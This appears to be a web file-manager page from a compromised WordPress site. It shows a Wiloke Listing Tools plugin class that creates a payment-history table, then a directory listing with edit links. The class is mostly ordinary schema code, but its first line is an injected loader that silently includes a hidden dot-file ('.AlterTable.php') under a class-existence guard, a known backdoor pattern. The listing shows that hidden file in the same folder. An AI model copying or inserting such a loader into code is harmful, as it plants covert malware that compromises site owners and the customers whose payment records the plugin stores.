PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
AlterTable
<?php namespace WilokeListingTools\AlterTable; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class AlterTablePaymentHistory { public static $tblName = 'wicity_payment_history'; public $version = '1.0'; use TableExists; public function __construct() { add_action('plugins_loaded', array($this, 'createTable')); } /** * * @param ID int Session ID * @param package_ID int Package ID * @param token string If the session is progressed by PayPal method, token is generated by PayPal else it will be generated by Wiloke System * @param method string. At the version 1.0, We support 3 methods: Credit Card, PayPal and Check Payment * @param status. There are 4 kind of statuses: pending, cancel, refund and approved * @param created_at: When this post is created. This value will be updated as the customer click on Pay & Pushlic button * @param updated_at: It's the same created_at at the first time and It will be updated at the next time, for example, after the PayPal session is completed */ public function createTable() { if ( $this->isTableExists() ){ return false; } global $wpdb; $tblName = $wpdb->prefix . self::$tblName; $charsetCollect = $wpdb->get_charset_collate(); $sql = "CREATE TABLE $tblName( ID bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY, userID bigint(20) NOT NULL DEFAULT 0, planID bigint(20) DEFAULT NULL, packageType VARCHAR (100) DEFAULT NULL, status VARCHAR (50) NOT NULL, gateway VARCHAR (50) NOT NULL, billingType VARCHAR (22) NOT NULL, wooOrderID bigint(20) NULL DEFAULT 0, createdAt TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP, updatedAt TIMESTAMP NOT NULL DEFAULT 0 ) $charsetCollect"; require_once ABSPATH . 'wp-admin/includes/upgrade.php'; dbDelta($sql); update_option(self::$tblName, $this->version); } public function deleteTable() { // TODO: Implement deleteTable() method. } }
[+]
..
[-] AlterTableSharesStatistic.php
[edit]
[-] AlterTableEventsData.php
[edit]
[-] .AlterTable.php
[edit]
[-] AlterTableReviews.php
[edit]
[-] AlterTableBusinessHourMeta.php
[edit]
[-] AlterTableNotifications.php
[edit]
[-] AlterTableFollower.php
[edit]
[-] AlterTableFavoriteStatistic.php
[edit]
[-] AlterTableBusinessHours.php
[edit]
[-] AlterTableViewStatistic.php
[edit]
[-] AlterTablePaymentMeta.php
[edit]
[-] AlterTableReviewMeta.php
[edit]
[-] AlterTableInvoices.php
[edit]
[-] AlterTableLatLng.php
[edit]
[-] AlterTableFavoritesStatistic.php
[edit]
[-] AlterTableInterface.php
[edit]
[-] AlterTableMessage.php
[edit]
[-] AlterTablePosts.php
[edit]
[-] AlterTablePaymentPlanRelationship.php
[edit]
[-] AlterTablePaymentHistory.php
[edit]
[-] AlterTableComment.php
[edit]
[-] AlterTableInvoiceMeta.php
[edit]
[-] TableExists.php
[edit]
[-] AlterTablePlanRelationships.php
[edit]